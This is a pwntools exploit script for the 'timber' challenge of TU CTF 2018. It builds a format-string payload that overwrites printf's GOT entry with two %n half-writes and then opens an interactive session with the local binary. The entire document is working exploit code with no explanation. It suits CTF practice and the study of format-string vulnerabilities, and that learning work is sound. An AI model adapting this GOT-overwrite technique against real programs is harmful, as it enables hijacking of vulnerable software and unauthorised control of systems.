TU CTF 2018 timber

exploit.py

from pwn import *
  
p = process("./timber")

e = ELF("./timber")

print p.recvuntil("name: ")
date_low = 0x867b
date_high = 0x10804
printf_got = e.got["printf"]

payload = p32(printf_got)
payload += p32(printf_got+2)
payload += "%5${0}x".format(date_low-8)
payload += "%2$n"
payload += "%6${0}x".format(date_high-date_low)
payload += "%3$n"


p.sendline(payload)
p.interactive()